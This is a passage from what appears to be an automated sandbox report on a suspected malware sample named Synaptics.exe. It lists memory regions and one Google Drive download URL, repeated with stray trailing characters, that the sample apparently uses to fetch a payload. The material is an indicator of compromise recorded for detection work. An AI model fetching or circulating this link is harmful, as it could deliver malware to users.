Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.com
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.hu
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeQ
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadect.o
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeduca
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadefg
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadement
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadervi
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesynd
Source: Synaptics.exe, 00000003.00000003.1316708703.0000000005406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetag
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1441338159.000000000067C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C7F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1977210353.0000000004C82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf/
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000003.00000003.1316708703.0000000005406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg.cn
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg.do
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg1
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg?p
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgeH
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgl
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgld
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgle.
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgle.c
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoog8
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoogB=W
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoogl
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2149255188.000000000B6FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976029257.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh7
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhRC
Source: Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi9z
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiec
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadion.c
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadisP
Source: Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj8
Source: Synaptics.exe, 00000003.00000002.1441338159.000000000063D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjsp
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk&
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkdD
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkieNID=519=S
Source: Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl:y
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlFxOc
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlQ
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlQG
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle.cQ
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle.coE
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle.coP
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlecl
Source: Synaptics.exe, 00000014.00000003.1935866964.0000000000807000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadli
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadload
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm/
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmP
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmdo
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.com
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.net
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnQ
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnalyt
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncisc
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadno-ca
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadno-caC
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnqo
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadny
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000014.00000002.2140164000.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoTv
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoa0
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoad
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogle
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogleA
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoject
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadolK
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadolw
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadonnec)0
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogle
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogleA
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadou
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoutubI=Z
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C72000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp-
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp6
Source: Synaptics.exe, 00000003.00000002.1443067594.00000000053FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpH
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpPK
Source: Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpany
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpp-me
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadps.cne
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadptcha
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadptimi2
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2143102591.0000000004FDE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2144840252.000000000767E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147934571.00000000097BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2144782532.000000000753E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2141922978.0000000004B1E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2141457651.0000000002C8E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2148033723.0000000009A3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147778080.00000000093FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 